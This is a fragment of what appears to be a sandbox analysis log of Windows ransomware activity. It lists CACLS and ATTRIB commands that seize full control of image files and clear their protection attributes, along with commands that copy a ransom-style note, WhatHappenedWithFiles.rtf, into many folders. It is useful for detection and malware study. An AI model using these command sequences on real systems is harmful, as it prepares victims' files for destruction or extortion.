C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\ALLUSE~1\MICROS~1\DEVICE~1\Device\{11352~1\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\ALLUSE~1\MICROS~1\DEVICE~1\Device\{8702D~1\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\ALLUSE~1\MICROS~1\MF\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\ALLUSE~1\MICROS~1\OFFICE\UICAPT~1\1036\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\ALLUSE~1\MICROS~1\OFFICE\UICAPT~1\3082\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile10.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile10.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile10.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile10.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\ALLUSE~1\MICROS~1\USERAC~1\DEFAUL~1\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile11.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile11.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile11.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile11.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile12.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile12.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile12.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile12.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile13.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile13.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile13.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile13.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile14.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile14.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile14.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile14.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile15.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile15.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile15.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile15.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile16.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile16.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile16.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile16.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile17.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile17.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile17.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile17.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile18.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile18.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile18.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile18.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile19.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile19.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile19.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile19.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile20.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile20.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile20.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile20.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile21.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile21.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile21.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile21.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile22.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile22.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile22.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile22.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile23.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile23.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile23.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile23.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile24.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile24.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile24.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile24.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile25.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile25.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile25.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile25.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile26.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile26.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile26.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile26.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile27.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile27.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile27.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile27.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile28.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile28.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile28.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile28.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile29.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile29.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile29.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile29.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile30.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile30.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile30.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile30.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile31.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile31.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile31.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile31.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile32.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile32.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile32.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile32.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile33.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile33.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile33.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile33.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile34.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile34.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile34.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile34.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile35.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile35.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile35.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile35.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile36.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile36.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile36.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile36.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile37.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile37.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile37.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile37.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile38.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile38.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile38.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile38.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile39.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile39.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile39.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile39.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile40.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile40.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile40.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile40.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile41.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile41.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile41.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile41.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile42.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile42.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile42.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile42.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile43.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile43.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile43.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile43.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile44.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile44.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile44.bmp" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile44.bmp"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\ALLUSE~1\MICROS~1\USERAC~1\WhatHappenedWithFiles.rtf"5⤵
-
